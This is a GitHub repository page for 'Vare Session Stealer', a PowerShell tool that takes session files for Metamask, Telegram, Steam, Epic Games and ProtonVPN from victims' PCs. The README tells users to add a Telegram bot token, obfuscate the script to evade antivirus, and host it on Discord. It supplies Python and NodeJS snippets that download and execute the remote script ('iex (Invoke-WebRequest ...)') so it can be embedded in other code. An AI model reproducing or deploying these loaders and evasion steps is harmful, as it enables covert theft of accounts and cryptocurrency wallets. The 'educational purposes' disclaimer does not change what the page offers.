Skip to content

Stealing session (Steam, Telegram, Epicgames, ProtonVPN, Metamask) files from PC using Powershell, POC

License

Notifications You must be signed in to change notification settings

saintdaddy/Vare-SessionStealer

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 

Repository files navigation


Logo

Vare Session Stealer

Powershell Session Stealer
Telegram Channel

Report Bug · Request Feature · Send a Pull Request

About The Project

Vare Session Stealer is a file stealer that aims to bypass Antiviruses during Runtime and Scantime using Powershell

Features

┌──(Saint@root)-[~/]
└─$ cat VareSessionStealer

@Sessions
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
| Metamask Session File - From Opera, OperaGX, Chrome [Profile 1,2,3]
| Telegram Session File - From Base Path
| Steam Session File - From Base Path
| Epicgames Session File - From Base Path
| ProtonVPN Session File - From Base Path
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

Installation

  1. Download Project
  2. Change $chatid And $bottoken With Yours
  3. Obfuscate "PS1" File Using AES Encoder
  4. You're Done!

Integrate with your code

Upload the code you created and obfuscate to places that provide direct downloads such as discord and get the link (ex; discord.com/attchments/4455/file.ps1)

Python

import subprocess

powershell_cmd = "iex (Invoke-WebRequest -Uri 'YOUR FILE URL' -UseBasicParsing).Content"

subprocess.run(["powershell", "-Command", powershell_cmd], capture_output=False, text=False)

Change "YOUR FILE URL" then add this to your code

NodeJS

const { exec } = require('child_process');

const powershellCmd = "iex (Invoke-WebRequest -Uri 'YOUR FILE URL' -UseBasicParsing).Content";

exec(`powershell -Command "${powershellCmd}"`, (error, stdout, stderr) => {});

Change "YOUR FILE URL" then add this to your code - i havent tested it but it will work 🤓

🤝 Contributing

If you want to support me and my project, you can do the following, thank you

  1. Fork the Project
  2. Star the Project
  3. Open a Pull Request

TODO

  • Anti Virustotal / AntiVM
  • More Sessions (Gaming,Vpns,etc...)
  • Anti Analysis
  • New Obfuscation (Maybe 🤓)

🛑 Note

I am not responsible for the damages caused by this code, everyone will use this code under their own responsibility, the code is shared for educational purposes. POC

📫 Contact

https://t.me/varestealer

About

Stealing session (Steam, Telegram, Epicgames, ProtonVPN, Metamask) files from PC using Powershell, POC

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published